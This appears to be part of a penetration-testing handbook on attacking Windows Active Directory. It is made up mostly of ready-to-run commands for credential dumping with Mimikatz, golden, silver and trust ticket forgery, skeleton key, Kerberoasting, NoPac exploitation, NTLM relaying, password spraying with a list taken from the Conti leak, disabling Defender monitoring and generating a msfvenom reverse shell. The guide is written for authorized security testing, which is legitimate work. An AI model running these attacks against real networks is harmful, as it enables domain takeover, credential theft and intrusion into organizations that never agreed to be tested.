### Finding Credentials with MANSPIDER

```bash
# MANSPIDER installation:
sudo apt install tesseract tesseract-data-eng antiword pip install pipx pipx install man-spider

# Regex search for the following variables:
manspider.py $ip -d $domain -u $user -p $password -f passw user admin account network login logon cred

# Regex search in XLSX files:
manspider.py $target -d $domain -u $user -p $password -c password -e xlsx

# Perform a search by passing the hash of a user:
manspider.py $target -d $domain -u $user -H $hash -f passw user admin account network login logon cred
```

{% embed url="<https://github.com/blacklanternsecurity/MANSPIDER>" %}

### Hunting with SMBeagle

```bash
# Hunt for shares and scan the domain SMBEagle fast mode
./SMBeagle.exe -c out.csv -f
```

{% embed url="<https://github.com/punk-security/smbeagle>" %}

### References

{% embed url="<https://www.sprocketsecurity.com/blog/how-to-limit-cleartext-password-storage-and-fix-the-issue-in-your-organization>" %}


# WDigest

> WDigest (Digest Authentication) is a challenge/response protocol that was primarily used in Windows Server 2003 for LDAP and web-based authentication. It utilizes Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges to authenticate.

It should be noted that up to Windows 8 and Windows Server 2012 storing credentials in WDigest was a default setting. This is no longer the case with Windows 10 and Windows Server 2016+. Additionally, it should be noted that WDigest credentials are cached in memory in cleartext.&#x20;

It is easy to verify whether or not caching is enabled by querying the following registry key:&#x20;

```powershell
reg query HKLM\erSYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```

If identified, WDigest credentials can be retrieved with a tool such as Mimikatz:

```bash
sekurlsa::wdigest
```

### Forcing Credential Storage in WDigest

It should be noted that even though storing credentials in WDigest is no longer a default setting, it is still something that can be manually configured by an attacker after obtaining access to a system by modifying the following registry value:

```powershell
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
```

```powershell
Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name "UseLogonCredential" -Value '1'"
```

We would then be able to dump any users credentials who authenticate to the system with a tool like Mimikatz.

### References

{% embed url="<https://stealthbits.com/blog/wdigest-clear-text-passwords-stealing-more-than-a-hash/>" %}

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/forcing-wdigest-to-store-credentials-in-plaintext>" %}


# WiFi Profiles

### List Available Profiles

```bash
netsh wlan show profiles
```

### Extraction

```bash
# Extract Passwords
netsh wlan show profile name="wireless network" key=clear

# Export Profiles
netsh wlan export profile name ="wireless network" folder=C:\temp
```


# Delegation Abuse


# Constrained Delegation

Constrained delegation is a safer way to perform Kerberos delegation. In contrast to unconstrained delegation, constrained delegation restricts the services to which the server an act on behalf of a user. This means that the server can be configured to only present delegated credentials to the database server, instead of any other arbitrary service.

### Enumerating Constrained Delegation

```bash
# Enumerating with PowerView
Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo

# Enumerating with BloodHound
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
```

### Notes

* When enumerating constrained delegation, enumerating the service type is extremely important. For exampke, enumerating `cifs` means that we are able to execute PsExec against the host as well as upload and/or download files.&#x20;

### References

{% embed url="<https://sensepost.com/blog/2022/constrained-delegation-considerations-for-lateral-movement/>" %}

{% embed url="<http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html>" %}


# Unconstrained Delegation

Unconstrained delegation the key distribution center (KDC) places a copy of the users TGT inside the service ticket (TGS). When the TGS is provided to the server for service access, the server opens the TGS and places the user’s TGT into memory for further use. This means that the server can now impersonate the user without any restrictions.&#x20;

### Enumerating Unconstrained Delegation

```bash
# Locate Unconstrained Delegation in BloodHound
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
```

### Compromising the Domain

After compromising a server with unconstrained delegation enabled, an attacker can extract any and all TGTs from memory to impersonate them against services in the domain. This means that if we identify a Domain Administrators TGT in memory,&#x20;

### Notes

* Domain Controllers always have unconstrained delegation enabled by default.&#x20;
* Using `Rubeus` monitor command is a good way to identify any new TGTs on a compromised server.&#x20;

### References

{% embed url="<https://adsecurity.org/?p=1667>" %}

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation>" %}

{% embed url="<https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>" %}


# Domain Enumeration

### BloodHound

[BloodHound](https://github.com/BloodHoundAD/BloodHound) is an Active Directory reconaisssance tool that can reveal a significant amount of information such as hidden relationships, trusts, and attack paths.&#x20;

#### Running a Collector

SharpHound is what we define as a 'collector'. Essentially, we need to run SharpHound and then import the data/files generated into BloodHound to view and analyze.&#x20;

```bash
# Running the precompiled binary on a domain joined Windows system
SharpHound.exe 

# Specify domain within SharpHound
SharpHound.exe -d $domain

# Collection method all
SharpHound.exe --CollectionMethod All --ZipFileName output.zip

# Python collector
## https://github.com/fox-it/BloodHound.py
bloodhound.py -d $domain -v --zip -c All -dc $dcfqdn -ns $dcip
```

#### Queries

```bash
# Identify Users with an SPN Set:
MATCH (u:User {hasspn:true}) RETURN u

# Identify computers with unconstrained delegation enabled:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

# Identify computers with constrained delegation configured:
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

# Identify computers with LAPS enabled:
MATCH (c:Computer {haslaps: true}) RETURN c
```

### PowerView

[PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1), while a little dated now is still a reliable tool to perform domain reconaissance with. It should be noted that high privileges are not required to run PowerView and that performing domain reconaissance with a standard authenticated user account is sufficient.

```bash
# Import PowerView.ps1 
. .\PowerView.ps1

# Return basic information about the domain and domain controllers
Get-Domain

# Return all domain users
Get-DomainUser -Properties DisplayName, MemberOf | fl

# Return all domain computers
Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName

# Return all domain trusts
Get-DomainTrust
```

### References

{% embed url="<https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html>" %}

{% embed url="<https://www.hackingarticles.in/active-directory-enumeration-powerview/>" %}


# Domain Dominance


# Forge Golden Ticket

MITRE ATT\&CK, Credential Access, Technique T1558.001

A Golden Ticket attack is a type of attack in which an adversary gains control over an Active Directory Key Distribution Service Account (KRBTGT), and uses that account to forge valid Kerberos Tickets. A golden ticket will allow you to persist in an environment almost indefinitely.

### Prerequisites for creating a Golden Ticket:

1. The NT hash of the `krbtgt` account. This can be obtained from running `secretsdump.py` on the Domain Controller.
2. Domain SID. This can be obtained by using `LookupSID.py` on the Domain Controller.
3. Domain name. This can be gathered by querying it on the Domain Controller or will have been gathered throughout the penetration test.
4. Username to impersonate. This should be a valid user on the domain.

### Creating a Golden Ticket on Linux with Impacket

1\. Use ticket.py to customize, sign, and save the ticket:

```bash
ticketer.py -nthash [NTHASH] -domain-sid [SID] -domain [DOMAIN] [USER]
```

2\. Export the ticket:

```bash
export KRB5CCNAME=[USER.CCACHE]
```

3\. Authenticate with the created ticket to the domain controller:

```bash
psexec.py [DOMAIN]/[USER]@[HOST] -k -no-pass -dc-ip [DOMAINCONTROLLER]
```

### References

{% embed url="<https://www.qomplx.com/qomplx-knowledge-golden-ticket-attacks-explained>" %}

{% embed url="<https://yojimbosecurity.ninja/golden-ticket-with-impacket>" %}


# Forge Silver Ticket

MITRE ATT\&CK, Credential Access, Technique T1558.002

A Silver Ticket is a forged TGS, signed using the secret keys of a machine account. This can be useful for short-term persistence and is considered stealthy. The large benefit of creating a silver ticket is that we can create it offline, meaning that it can be very hard for an organization to track when one is created.&#x20;

### Mimikatz

Creation of a silver ticket utilizing Mimikatz:

```bash
kerberos::golden /user:Administrator /domain:$domain /sid:$domain_sid /target:$target_machine /service:cifs /rc4:$nthash /ticket:$output
```

### Ticketer.py

Creation of a silver ticket using Impacket:

```bash
ticketer.py -nthash $nthash -domain-sid $domain_sid -domain $domain -spn cifs/$target_machine $u
export KRB5CCNAME=$user.ccache
```

### Utilizing the Silver Ticket

Utilizing a silver ticket using Impacket:&#x20;

```bash
psexec.py $domain/$user@$target_machine -k -no-pass
```

### References

{% embed url="<https://adsecurity.org/?page_id=183>" %}


# Forge Trust Ticket

> The domain Kerberos service account is used to sign and encrypt every authentication ticket (TGT). This enables the TGT to be used throughout the domain and presented to any DC in the domain. This works since the Kerberos service account ([KRBTGT](https://adsecurity.org/?p=483)) is effectively the trust anchor used for the domain and is why losing control of the KRBTGT account password hash equates to losing control of the domain.&#x20;

### Exploitation

1\.  The first step is to retrieve the trust key. This is achieved by dumping the domain controller with Mimikatz:

```bash
# Dumping the trust key with Mimikatz
lsadump::dcsync /user:$domain$
```

2\. We can then create the trust ticket using Mimikatz as well:

```bash
kerberos::golden /domain:$domain /sid:$domainsid /rc4:$krbtgthash /user:Administrator /service:krbtgt /target:$targetdomain /ticket:trust.kirbi
```

3\. After saving the ticket to a file we can use the created ticket to request a TGS for the targeted service, which in this case is going to be CIFS in the target domain using Rubeus.exe:

```bash
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/$targetdomain /ptt /dc:$targetdc
```

4\. From using the `/ptt` argument with Rubeus, we have already injected the ticket into memory and should now be able to access the target domain controller. A trivial way to verify if this was successful is by listing the contents of the target domain controller:

```bash
# Confirm access with net use
net use \\$targetdc\admin$

# List the contents of the target domain controller
dir \\$targetdc\admin$
dir \\$targetdc\c$
```

### References

{% embed url="<https://adsecurity.org/?p=1588>" %}


# Skeleton Key

```bash
# Creating a Skeleton Key on a Domain Controller
mimikatz !misc::skeleton
```

This will allow you (by default) to log in with any domain administrators account using the password `mimikatz`

**Notes:** This should not be used unless explicitly discussed with a client. A skeleton key cannot be removed until the domain controllers impacted are restarted. Additionally, it is possible for this attack to cause unintended effects.


# Group Policy Preferences

Group Policy Preferences provide a powerful tool for administrators to customize and manage settings, however they can also introduce security risks if not properly configured. For example, GPPs can include passwords or other sensitive information, such as the local administrator password, which can be easily decrypted by attackers. If these passwords are used across multiple systems, attackers can gain access to sensitive data or compromise other systems. Additionally, if GPPs are not properly secured, attackers can modify or delete them, leading to unauthorized access or changes to system configurations. Therefore, it is essential for administrators to carefully configure and secure GPPs, including using strong encryption and limiting access to only authorized users, to minimize the potential security risks.

### Retreiving Group Policy Preferences

In order to access group policy preferences, you must have either valid domain credentials or a session on a domain joined computer.

```bash
# Searching for passwords
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

# CrackMapExec
crackmapexec smb $dc -u $user -p $password -M gpp_password

# Metasploit (POST)
use post/windows/gather/credentials/gpp
set session $i
exploit
```

### References

{% embed url="<https://adsecurity.org/?p=2288>" %}


# Kerberos


# AS-REP Roasting

If a user does not require Kerberos pre-authentication, an attacker can request an AS-REP  for the user and crack the retrieved hash offline.

### AS-REP Roasting with Rubeus

```bash
# AS-REP Roast all users (burn your opsec):
.\Rubeus.exe asreproast /nowrap

# AS-REP Roast a specific user:
.\Rubeus.exe asreproast /user:$serviceaccount /nowrap
```

### AS-REP Roasting with Impacket

```bash
# AS-REP Roast with Impacket
python3 GetNPUsers.py $domain -dc-ip $dcip -usersfile $userfile
```


# Kerberoasting

### Kerberoasting with Rubeus

```bash
# Generic Kerberoasting with Rubeus 
.\Rubeus.exe kerberoast /nowrap

# Generic Kerberoasting and saving the output to a file
.\Rubeus.exe kerberoast /nowrap /outfile:C:\Windows\Tasks\kerberoast.txt

# Perform targeted Kerberoasting with Rubeus
.\Rubeus.exe kerberoast /user:$serviceaccount

# OpSec-safe Kerberoasting with the 'tgtdeleg' trick, filtering out AES-enabled accounts
.\Rubeus.exe kerberoast /rc4opsec
```

### Kerberoasting with Impacket

```bash
# List accounts with SPNs
GetUserSPNs.py $domain/$username:$password -dc-ip $dcip

# Generic Kerberoasting with Impacket
GetUserSPNs.py $domain/$username:$password -dc-ip $dcip -request

# Targeted Kerberoast
GetUserSPNs.py $domain/$username:$password -dc-ip $dcip /user:$serviceaccount -request
```

### Kerberoasting with PowerView

```bash
# Generic Kerberoast with PowerView
Invoke-Kerberoast | fl

# Specify Domain in Kerberoast
Invoke-Kerberoast -Domain $domain | fl
```

### References

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting>" %}

{% embed url="<https://m365internals.com/2021/11/08/kerberoast-with-opsec/>" %}


# Kerberos Relaying

### KrbRelayUp

> A universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings).

* [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)

One of the requirements for this attack to work is for LDAP Signing to be disabled within the Active Directory environment.

```bash
# Escalate privileges using KrbRelayUp
.\KrbRelayUp.exe relay -Domain $domain -CreateNewComputerAccount -ComputerName $evilname -ComputerPassword $password 
```


# Lateral Movement

MITRE ATT\&CK, Lateral Movement, ID TA0008


# PowerShell

MITRE ATT\&CK, Execution, Technique T1059.001

### Basic Usage

#### Creating a PowerShell Session

**Background:** We can establish a persistent connection in PowerShell using Enter-PSSession. This can make life significantly easier and reduce overhead.

```bash
New-PSSession -ComputerName [IP] -Credential [USER]
Enter-PSSession -Session $#
```

#### Executing Scripts Remotely

**Background:** We can execute scripts remotely with PowerShell.

```bash
Invoke-Command -Session $# -FilePath C:\Users\Parzival\Desktop\Mimikatz.exe
```

### Enumeration

#### Enumerate Installed Versions

**Background:** This can be helpful when determining if a PowerShell downgrade attack will work.

```bash
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\PowerShell\*\PowerShellEngin e -Name PowerShellVersion).PowerShellVersion
```

This is important as if PowerShell 2.0 is installed then we can bypass multiple security protections enabled in more recent PowerShell Version 5 releases:

```bash
powershell.exe -Version 2
```

### Offensive PowerShell

#### Bypassing Execution Policy

**Information:** Execution policies can be disabled in multiple ways. It is not a sufficient security protection to prevent unsigned scripts from being loaded.

```bash
powershell.exe -exec bypass 
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
```

#### Bypassing Real-time Monitoring

```bash
Powershell Set-MpPreference -DisableRealtimeMonitoring $true
Powershell Set-MpPreference -DisableIOAVProtection $true
```

#### Meterpreter Shell

```bash
msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp LHOST=$ip LPORT=$port
```


# Windows Remote Management (WinRM)

MITRE ATT\&CK, Lateral Movement, Sub-technique T1021.006

### Enabling PowerShell Remoting

In a PowerShell console running as administrator enable PowerShell Remoting:

```powershell
Enable-PSRemoting –force
```

Set WinRM start mode to automatic:

```powershell
Set-Service WinRM -StartMode Automatic
```

Verify start mode and state:

```powershell
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
```

### Set Remote Hosts to Trusted

Configure all hosts to be trusted:

```powershell
Set-Item WSMan:localhost\client\trustedhosts -value *
```

Validate trusted hosts configuration:

```powershell
Get-Item WSMan:\localhost\Client\TrustedHosts
```

### Establishing a Session

Interactive session using the current user:

```powershell
Enter-PsSession –ComputerName $host
```

Interactive session with explicit credentials:

```powershell
Enter-PsSession –ComputerName $host –Credentials $domain\$user
```

Create a background session using the current user::

```powershell
New-PSSession -ComputerName $host
```

Create a background session with explicit credentials:

```powershell
New-PSSession –ComputerName server1.domain.com –Credentials $domain\$user
```

List background sessions:

```powershell
Get-PSSession
```

Interacting with a background session:

```powershell
Enter-PsSession –id $id
```

Exiting out of a session:

```powershell
Exit-PsSession
```

Remove all background sessions:

```powershell
Get-PSSession | Disconnect-PSSession
```

## References

{% embed url="<https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement>" %}

{% embed url="<https://www.netspi.com/blog/technical/network-penetration-testing/powershell-remoting-cheatsheet>" %}

{% embed url="<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.1>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ff700227(v=msdn.10)?redirectedfrom=MSDN>" %}

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ff394367(v=msdn.10)?redirectedfrom=MSDN>" %}


# Local Administrator Password Solution (LAPS)

Microsoft LAPS provides automated local administrator account management for every computer in Active Directory. The client-side piece of LAPS on the computer generates a random secure password and stores it in the AD attribute for the computer password. This is considered secure and mitigates an attacker passing the local administrator hash throughout the domain.

### Enumerating LAPS

```powershell
# Using the cmdlet Get-ADObject
Get-ADObject 'CN=mc-mcs-admpwd,CN=Schema,CN=Configuration,DC=dc,DC=parzival,DC=com' 

# Check if the DLL is installed locally
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
dir "C:\Program Files\LAPS\CSE"

# Checking registry
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
```

### Retrieving LAPS Passwords

```bash
# Retrieve password using CrackMapExec
cme ldap $dc -u $username -p $password -M laps

# https://github.com/n00py/LAPSDumper
python laps.py -u $username -p $password -d $domain

# https://github.com/leoloobeek/LAPSToolkit
Get-LAPSComputers

# Manually with LDAP
ldapsearch -x -h $host -D $user -w $password -b "dc=$domain,dc=com" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
```

### References

{% embed url="<https://adsecurity.org/?p=1790>" %}


# NoPac

The exploitation of both CVE-2021-42278 and CVE-2021-42287 allows for a standard domain user to impersonate a domain administrator, ultimately gaining full access to the domain.&#x20;

### Verification

Verifying if a domain controller is vulnerable to NoPac requires a valid domain user account. Additionally, your time will have to be synced with the domain controller if any issues are output when running validation with publicly available proof of concepts of CrackMapExec.&#x20;

```bash
# CrackMapExec
crackmapexec smb $host -u $user -p $password -M nopac

# https://github.com/Ridter/noPac
python scanner.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip
```

### Exploitation

When attempting to exploit NoPac, I have found that updating `/etc/hosts` with the hostname of the domain controller often results in more reliable exploitation.

```bash
# https://github.com/Ridter/noPac
## Dump the NTDS from the Domain Controller (preferred exploitation action)
python noPac.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip -dc-host $dcfqdn --impersonate administrator -dump

## Get Service Ticket
python noPac.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip
```


# NTLMv1

NT LAN Manager version 1 (NTLMv1) is vulnerable to several attacks and should be disabled in environments whenever possible. All Microsoft operating systems support its successor NT Lan Manager version 2 (NTLMv2) which should be used instead.

A NTLMv1 hash is formatted like the following:

```bash
username::hostname:response:response:challenge -> NTHASH:response
```

### Downgrading

It is possible in environments where NT LAN Manager version 1 is utilized to obtain an NTLMv1 hash from a target computer.

While this was partially described in the [Coercion section](/pentesting/infrastructure/active-directory/coercing-authentication), prior to receiving a callback we need to run Responder, after modifying the 'Challenge' variable to `1122334455667788.` We can then run Responder with the following options:

```bash
# Receive and attempt to crack the hash with crack.sh's rainbow tables
Responder.py -I $interface --lm 

# Attempt to remove ESS/SSP and crack locally or for a fee
Responder.py -I $interface --lm --disable-ess
```

### Cracking NTLMv1

Referencing crack.sh, a NTLMv1 hash with ESS/SSP looks like the following:

```
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
```

After obtaining a hash with ESS/SSP, we first need to reformat the obtained hash using EvilMog's [NTLMv1-multi tool](https://github.com/evilmog/ntlmv1-multi) or [assless-chaps](https://github.com/sensepost/assless-chaps) and cracked with a database of NT hashes.&#x20;

{% hint style="warning" %}
If we weren't able to remove the ESS/SSP with Responder then it will no longer be possible to crack with crack.sh’s rainbow tables. Instead, it can be submitted and crack on crack.sh for a fee.
{% endhint %}

### Attacking a Domain Controller

If NTLMv1 is enabled, you can leverage the ability where DC's have the ability to modify their own msDS-KeyCredentialLink attribute. It should be noted this requires two domain controllers to exploit.

```bash
1. ntlmrelayx.py -t ldap://$dc1 -of hashes --shadow-credentials --shadow-target '$dc2' --cert-outfile-path crt --no-validate-privs --remove-mic
2. gettgtpkinit.py -cert-pfx crt.pfx -pfx-pass PFX_PASSWORD http://contoso.com/DC2$ crt.ccache
3. KRB5CCNAME=crt.ccache http://getnthash.py http://contoso.com/DC2\$ -key KEY_FROM_PKINIT
4. secretsdump.py 'http://contoso.com/DC2$'@DC2 -hashes :LMHASH_FROM_GETNTHASH -history
```

### References&#x20;

{% embed url="<https://crack.sh/cracking-ntlmv1-w-ess-ssp/>" %}

{% embed url="<https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/>" %}

{% embed url="<https://www.trustedsec.com/blog/practical-attacks-against-ntlmv1/>" %}

{% embed url="<https://twitter.com/godacity_/status/1646282884020580352>" %}


# Password Cracking

MITRE ATT\&CK, Credential Access, Sub-technique T1110.002

### Common Cracking Modes

* `1000` - Crack NTLM hash.&#x20;
* `1100` - Crack DCC hash.&#x20;
* `5500` - Crack Net-NTLMv1&#x20;
* `5600` - Crack Net-NTLMv2
* `13100` - Crack Kerberoast(ed) hash.&#x20;
* `27100` - Crack Net-NTLMv2 to an NTLM hash.&#x20;

### Create a Custom Wordlist for Cracking

1\. Create a simple wordlist or use `cewl` to generate one:

```
Acme (Domain)
Autumn
Winter
Spring
Summer
Welcome
```

2\. Utilize hashcat to run rules on the previous wordlist:

```bash
hashcat $wordlist -r /usr/share/hashcat/rules/best64.rule --stdout > newwordlist
```

### Masks

```
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?h = 0123456789abcdef
?H = 0123456789ABCDEF
?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff
```

#### Password Length Increment

> A Mask attack is always specific to a password length. For example, if we use the mask “?l?l?l?l?l?l?l?l” we can only crack a password of the length 8. But if the password we try to crack has the length 7 we will not find it. Thats why we have to repeat the attack several times, each time with one placeholder added to the mask. This is transparently automated by using the “--increment” flag (Attention: the mask length itself is the limiting factor for hashcat. That implies that if i.e. the mask is only of length 4 --increment won't increment the length of the password candidates above 4. A mask of length, therefore, won't increase at all even if --increment was specified).

```
?l
?l?l
?l?l?l
?l?l?l?l
?l?l?l?l?l
?l?l?l?l?l?l
?l?l?l?l?l?l?l
?l?l?l?l?l?l?l?l    
```

{% embed url="<https://hashcat.net/wiki/doku.php?id=mask_attack>" %}

### Password Cracking Tips

* Loopback will take all of the discovered passwords from cracking and apply the rules specified when beginning the attack against them. Simply append `--loopback` to your Hashcat command.
* If you are experiencing the error `CL_OUT_OF_RESOURCES` on Windows 10 when running Hashcat, then you can add the following to the registry to remove it: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers` then add "TdrLevel" as a DWORD with value 0.&#x20;
* A longer password list != better.&#x20;

### Wordlists

* [SecLists](https://github.com/danielmiessler/SecLists)
* [Probable-Wordlists](https://github.com/berzerk0/Probable-Wordlists)
* [PasswordList](https://github.com/Cyb3r4rch3r/PasswordList)
* [WeakPass](https://weakpass.com/wordlist)
* [WeakPasswords](http://weakpasswords.net)
* [Kaonashi](https://github.com/kaonashi-passwords/Kaonashi)

### Hashcat Rulesets

* [OneRuleToRuleThemAll](https://github.com/NotSoSecure/password_cracking_rules)
* [NSA-Rules](https://github.com/NSAKEY/nsa-rules)
* [Pantagrule](https://github.com/rarecoil/pantagrule)
* [InsidePro-PasswordsPro](https://github.com/hashcat/hashcat/blob/master/rules/InsidePro-PasswordsPro.rule)
* [Hob0Rules](https://github.com/praetorian-inc/Hob0Rules)


# Password Policy

As an attacker, password policies are extremely important to enumerate for performing both credential-based attacks such as [password spraying](/pentesting/infrastructure/active-directory/password-spraying).&#x20;

### Enumerate Password Policy

```bash
# Get Password Policy with CrackMapExec (Unauthenticated)
cme smb $dc -u '' -p ''

# Get Password Policy with CrackMapExec
crackmapexec smb $dc -u $username -p $password --pass-pol

# Get Password Policy with Net Accounts
net accounts

# Enumerate the default password policy settings from the Default Domain Policy GPO
Get-ADDefaultDomainPasswordPolicy
```

### Fine-Grained Password Policy

```bash
# Enumerate all FGPPs configured
Get-ADFineGrainedPasswordPolicy -Filter *

# Obtain the FGPP assigned to a specific user
Get-ADUserResultantPasswordPolicy -Identity parzival

# Obtain FGPP via WMIC
wmic /namespace:\\ROOT\directory\LDAP PATH ds_msds_passwordsettings GET DS_DisplayName, ds_msds_PasswordSettingsPrecedence, ds_msds_LockoutObservationWindow, ds_msds_LockoutDuration, ds_msds_LockoutThreshold, ds_msds_PSOAppliesTo
```

### References

{% embed url="<https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/>" %}


# Password Spraying

Methodology for performing password spraying attacks against active directory

This section contains some of my methodology and tips for performing password spraying attacks against Active Directory. Before spraying, I highly recommend that you first [enumerate the password policy](/pentesting/infrastructure/active-directory/password-policy) on the domain so that you don't lock out accounts.&#x20;

If you are looking to password spray external services to gain initial access, refer to the [Fortress section](/pentesting/fortress) of this GitBook.

### Get List of Users

```bash
# Get List of Users with CrackMapExec via RID Cycling (Unauthenticated)
crackmapexec smb $dc -u '' -p '' --users
crackmapexec smb $dc -u '' -p '' --groups

# Get List of Users with CrackMapExec via RID Cycling
crackmapexec smb $dc -u $username -p $password --users

# Get List of Users with Impacket
GetADUsers.py $domain/$username:$password -all -dc-ip $dc

# Get List of Users with Enum4linux
enum4linux $dc -u $username -p $password -U

# Sort Usernames Obtained from Enum4Linux
cat usernameenum.txt | grep "user" | awk {'print $1'} | cut -d '[' -f 2 | cut -d ']' -f 1 | sort -u -f > UsernameList.txt
```

### Spraying

```bash
# Spray with CrackMapExec
crackmapexec smb $ip -u $username_list -p Winter2022! --continue-on-success
```

### Password List

These passwords were referenced from the published [Conti manual](https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak) and often work. This should be an unspoken rule, but ensure that your list is tailored for each engagement (year, month, etc).

```bash
Password1
Hello123
password
Welcome1
Acme@1
training
Password123
job12345
food1234
June2022
July2022
August22
August2022
Summer22
Summer2022
June2022!
July2022!
August22!
August2022!
Summer22!
Summer2022!
```

### References

{% embed url="<https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions>" %}


# Reconnaissance

### Identifying Domain Controllers

#### nslookup

```bash
_kerberos._tcp.dc._msdcs.<searchdomain>
_ldap._tcp.dc._msdcs.<searchdomain>
gc._msdcs.<searchdomain>
_ldap._tcp.pdc._msdcs.<searchdomain>
_ldap._tcp.gc._msdcs.<searchdomain>
_kerberos._tcp.dc._msdcs.<searchdomain>
_ldap._tcp.dc._msdcs.<searchdomain>
```

### Identifying Exchange

#### nslookup

```bash
_tcp._autodiscover.domain.com
autodiscover.domain.com
mail.domain.com
email.domain.com
owa.domain.com
securemail.domain.com
```


# Relaying

{% embed url="<https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/>" %}

{% embed url="<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>" %}


# LDAP Relaying

LDAP Relaying attacks can make use of NTLM authentication. Similar to [SMB Relaying](/pentesting/infrastructure/active-directory/relaying/smb-relaying), an attacker who captures credentials via [MITM6](/pentesting/infrastructure/networks/ipv6) or Responder can then relay them to a domain controller, targeting LDAP.&#x20;

It should be noted that the following two defaults need to be set in order for this to be exploited:

* [LDAP Signing Disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-signing-in-windows-server)
* [LDAP Channel Binding Disabled](https://support.microsoft.com/en-us/topic/use-the-ldapenforcechannelbinding-registry-entry-to-make-ldap-authentication-over-ssl-tls-more-secure-e9ecfa27-5e57-8519-6ba3-d2c06b21812e)

### Enumeration

#### LDAPRelayScan

[LDAPRelayScan](https://github.com/zyn3rgy/LdapRelayScan) can be utilized to identify whether LDAP Signing and/or LDAP Channel Binding are enabled or not.

```bash
# Generic usage of LdapRelayScan.py  
LdapRelayScan.py -u $user -p $password -dc-ip $dcipaddress -method BOTH
```

### Exploitation

{% tabs %}
{% tab title="Computer Creation" %}
Create a new domain computer by abusing the default attribute `ms-DS-MachineAccountQuota` which is by default set to 10, allowing all authenticated users to add up to 10 computers to the domain.&#x20;

This account can then be utilized to perform authenticated attacks against the domain such as Kerberoasting.&#x20;

```bash
# Relay to LDAP
ntlmrelayx.py -t ldaps://$dcip --add-computer $computername

# Relay to LDAPS
ntlmrelayx.py -t ldap://$dcip --add-computer $computername 
```

{% endtab %}

{% tab title="Dump" %}
Relay authentication to LDAP and obtain a significant amount of information about the domain such as ADCS configuration, LAPS, groups, users, etc.&#x20;

```bash
ntlmrelayx -t "ldap://$dcip" --dump-adcs --dump-laps --dump-gmsa
```

{% endtab %}

{% tab title="Escalate" %}
Relay captured credentials to LDAPS and escalate the privileges of a specified domain user.&#x20;

```bash
# Relay authentication over LDAPS and attempt to escalate privileges
ntlmrelayx.py -t ldaps://$dcip --escalate-user $usernameLAReferences
```

{% endtab %}
{% endtabs %}

### References

{% embed url="<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>" %}

{% embed url="<https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/ldap-relay>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/ntlm/relay>" %}

{% embed url="<https://www.praetorian.com/blog/obtaining-laps-passwords-through-ldap-relaying-attacks/>" %}


# SMB Relaying

After observing LLMNR and/or NBT-NS traffic with Responder and forcing the client to authenticate to your machine, it is possible for the attacker to relay the Net-NTLMv2 hash obtained to all systems within scope that have SMB Signing Disabled.&#x20;

### Identifying Systems with SMB Signing Disabled

#### RunFinger.py

Finger is included with Responder.py in the `/tools` directory. Simply run the tool against either a subnet or file and parse the results using `cut`

```bash
python3 RunFinger.py -i $subnet
```

#### CrackMapExec

